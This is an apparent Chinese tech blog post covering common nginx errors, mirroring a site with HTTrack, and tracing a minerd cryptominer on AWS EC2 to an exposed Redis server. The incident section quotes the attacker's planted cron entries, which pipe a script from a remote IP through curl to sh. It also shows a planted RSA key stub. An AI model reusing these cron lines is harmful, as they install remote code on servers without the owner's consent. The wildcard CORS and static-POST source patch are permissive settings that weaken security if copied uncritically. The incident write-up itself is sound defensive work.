2017年6月

nginx常见错误

1: 413 Request Entity Too Large
原因:报错是http request请求body太大,被nginx拒绝
解决方法:在配置文件里面修改client_max_body_size 10M 增大一些

2: HTTP/1.1 405 Method not allowed
原因:这个是由于客户端在用post的方式去请求了静态资源,而静态资源nginx不止允许通过get方式去请求
解决方法:修改nginx的源码,重新编译即可
找到文件http/modules/ngx_http_static_module.c
注释下面的禁止代码即可
/*
if (r->method & NGX_HTTP_POST) {
return NGX_HTTP_NOT_ALLOWED;
}
*/
3:post内容在lua里面无法获取body内容
检查client_max_body_size和client_body_buffer_size是否设置过小
另外,在读取的时候server中使用lua_need_request_body on; 或者在location lua代码块中使用 ngx.req.read_body()

4:nginx错误日志无法关闭
设置error_log off;后任然会输出文件名为off的错误日志,根本原因是错误日志不能off,只能error_log /dev/null;

5:openresty安装geoip时错误
./configure: error: the GeoIP module requires the GeoIP library
apt-get install libgeoip-dev

6:域名太长
nginx: [emerg] could not build server_names_hash, you should increase server_names_hash_bucket_size: 32
解决:server_names_hash_bucket_size 64;

7:nginx post json 跨域问题
Cross-Origin Read Blocking (CORB) blocked cross-origin with MIME type application/json
解决方式为:

location / {  
    add_header Access-Control-Allow-Origin *;
    add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
    add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';

    if ($request_method = 'OPTIONS') {
        return 204;
    }
} 

利用HTTrack把网站全部下载下来

在接手别人的一个公司的官网,因为服务器马上要关闭了,没时间去做迁移了,为了保证网站在关闭后至少能正常访问,我打算把网站静态化,这样有一个保底的策略,在做详细的迁移,我利用了httrack,这是一个神器,能把网站所有的网页全部下载下来,所依赖的资源包括js,css,图片都能够完整的保存,下载好后直接把这些网页挂到另外台服务器或者本地就可以完整的浏览。并且这个软件还有支持中文语言。
下载地址为:http://www.httrack.com/page/2/en/index.html
使用方法为:http://www.httrack.com/html/step.html

挖矿病毒minerd的发现和防止

最近发现aws的ec2登录不了,permission denied (publickey),这个是由于是由于公匙被修改了,这种情况也适合key被丢失了的情况,大致的原理是deatch这个volumn,然后加挂载一个,重新生成或者还原key,重新挂载原来的盘,把key复制过去,然后在卸载临时的盘,详细的解决过程可参考:http://www.ttlsa.com/system/aws-ec2-lost-key-process/
可以登录之后,过一段时间任然是无法登录,怀疑是被攻击了,查看crontab发现,有个任务是乱码:
REDIS0007ú redis-ver^E3.2.5ú
redis-bitsÀ@ú^EctimeÂ^V>^VYú^Hused-memÂ^Hñ^L^@ÿé<82>IQ1^Df®
~
进而发现是通过redis

172.17.1.22:6379> keys *

  1. "crackit"
  2. "rfttrfgmrm"
  3. "jzbrzwcflh"
  4. "mfpprmlmrk"
    172.17.12.11:6379> get crackit
    "\n\n\n-----BEGIN RSA PRIVATE KEY-----\n\n\n\n"
    172.17.12.11:6379> get rfttrfgmrm
    "\n\n/1 * * * * /usr/bin/curl -fsSL http://64.140.174.129:8220/xin.sh | sh\n\n"
    172.17.12.11:6379> get jzbrzwcflh
    "\n\n
    /1 * * * * /usr/bin/curl -fsSL http://64.140.174.129:8220/test9.sh | sh\n\n"
    172.17.12.11:6379> get mfpprmlmrk
    "\n\n*/1 * * * * /usr/bin/curl -fsSL http://64.140.174.129:8220/test9.sh | sh\n\n"

这个是通过redis的一个远程漏洞拿到了登录的权限,解决过程参考:http://www.jianshu.com/p/e550628ba1bc

对于挖矿病毒的处理办法参考:
http://www.setphp.com/981.html
https://security.stackexchange.com/questions/129448/how-can-i-kill-minerd-malware-on-an-aws-ec2-instance